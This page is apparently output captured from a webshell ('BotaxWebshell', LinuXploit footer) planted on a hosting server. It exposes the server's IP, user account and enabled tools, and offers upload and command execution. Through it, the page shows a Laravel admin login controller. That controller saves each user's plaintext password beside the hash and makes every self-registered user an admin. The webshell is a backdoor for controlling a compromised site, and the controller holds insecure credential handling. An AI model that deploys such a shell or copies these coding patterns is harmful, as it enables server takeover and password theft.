BotaxWebshell
Server IP : 68.178.172.28  /  Your IP : 216.73.216.32
Web Server : Apache
System : Linux 28.172.178.68.host.secureserver.net 4.18.0-553.89.1.el8_10.x86_64 #1 SMP Mon Dec 8 03:53:08 EST 2025 x86_64
User : kiskarnal ( 1003)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /home/kiskarnal/public_html/app/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/kiskarnal/public_html/app/Http/Controllers/Admin/LoginController.php
<?php

namespace App\Http\Controllers\Admin;

use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Illuminate\Foundation\Bus\DispatchesJobs;
use Illuminate\Foundation\Validation\ValidatesRequests;
use Illuminate\Routing\Controller as BaseController;
use Illuminate\Http\Request;
use App\Models\Users;
use App\Http\Requests;
use Session;
use DB;
use Validator;

class LoginController extends BaseController
{
    use AuthorizesRequests, DispatchesJobs, ValidatesRequests;

     public function sign_up(Request $request){
        
        $validator = Validator::make($request->all(), [
            'name' => 'required',
            'email' => 'required',
            'password' => 'required',
        ]);
        
        if($validator->fails()) {
           
             return redirect()->back()->with('type','error')->withErrors($validator);
             
        }else{
            
            $user = Users::where('email', '=', $request->email)->first();
      
            if ($user === null) {
               // user doesn't exist
                $table = new Users;
                $table->name = $request->name;
                $table->email = $request->email;
                $table->password =password_hash( $request->password, PASSWORD_DEFAULT);
                $table->pass =$request->password;
                $table->user_type =1;
                $table->save();
                 
                return redirect()->to('admin/login')->with('success','You have Registered Successfully ! please login with same Credentials');
            }else{
                 return redirect()->back()->with('email_exist','This email already exist');
            }

            
        }
       
    } 

    public function logout(Request $request){
        session()->forget('admin'); //flash the user session on logout
        return view('admin.login');
    }
    public function varify_account(Request $request){
        
        $userdata = DB::table('users')->where('email',$request->email)->first();
        
        if($userdata !=''){
            $password =$request->password;
            $existingHashFromDb = $userdata->password;
            
            if(password_verify($password, $existingHashFromDb)) {
                // redirect to dashboard if verified
               if($userdata->user_type == 1){ 
                   
                     Session::put('admin',$userdata);
                     return redirect()->to('admin/dashboard');
                     
               }else{
                   
                    Session::put('user',$userdata);
                    return redirect()->to('/'); 
               }
            }else{
                return redirect()->back()->with('error','Password Incorrect');
            }
        }else{
            return redirect()->back()->with('error','Credentials Not Matched');
        }
            
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit